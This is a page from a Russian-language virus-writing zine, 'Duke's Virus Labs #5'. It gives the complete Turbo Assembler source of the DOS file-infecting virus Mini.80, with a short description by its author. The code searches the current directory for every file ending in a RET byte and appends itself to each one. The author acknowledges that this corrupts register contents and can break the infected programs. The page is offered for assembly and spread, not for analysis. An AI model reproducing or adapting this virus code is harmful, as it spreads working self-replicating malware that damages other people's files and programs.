- [Duke's Virus Labs #5] - [Page 17] - Mini.80 (c) by Duke/SMF Имя вируса : Mini.80 Автор : Duke/SMF Язык прогр. : Turbo Assembler Дата создания : 17.02.99 Упрощенный вариант вируса Mini.90 - убраны лишние push/pop. Теперь вирус портит содержимое регистров и работа жертвы может быть нарушена. Но на работоспособность и излечимость вируса это никак не влияет :) ===== Cut here ===== ; Mini.80 by Duke/SMF ; ; Маленько отредактированный вариант вируса Mini.90 ; Вирус портит данные, находящиеся в регистрах. Да это не главное, ; главное что размер меньше. Вирус великолепно лечится. ; ; Поражает все файлы в текущей директории, ; если они имеют RET в качестве последней команды. ; Автоматически имеется контроль на повторное заражение :) model tiny .code org 100h start: call $+3 OFFS: pop bp mov ah,4Eh ;Поиск первого файла lea dx,bp[file_spec-OFFS] search: int 21h jnc infect_file ; Если файл найден, то поражаем ret infect_file: mov ax,3D02h ; Открываем файл для чтения mov dx,9Eh ; DX указывает на найденный файл int 21h xchg bx,ax ; BX содержит файловый handle ;Проверяем наличие ret в конце файла call SeekToEnd ; смещаемся в конец mov ah,3fh ; прочитать, что там стоит mov cx,1 lea dx,bp[buffer-OFFS] int 21h mov al,1 ; сюда считаем последний байт buffer equ $-1 cmp al,0C3h ; ret jne Next ; если не ret, то на Next call SeekToEnd ; смещаемся в конец mov ah,40h ; Функция записи в файл mov cx,finish-start ; CL = сколько байт писать ; т.к. ch было ff lea dx,bp[start-OFFS] int 21h Next: mov ah,3Eh ; Закрываем файл int 21h mov ah,4Fh ; Поиск следующего файла jmp search ; Переход на заражение ;------------------------------------------- SeekToEnd: mov ax,4202h ; Функция смещения указателя ; Отсчет от конца xor cx,cx dec cx mov dx,cx ; смещение = (-1) int 21h ret ;------------------------------------------- ; поскольку ret не встретится во всех подряд файлах, то можно ; без страха использовать маску '*.*' file_spec db '*.*',0 ;Маска файлов для поиска finish : ;Конец вируса end start ===== Cut here =====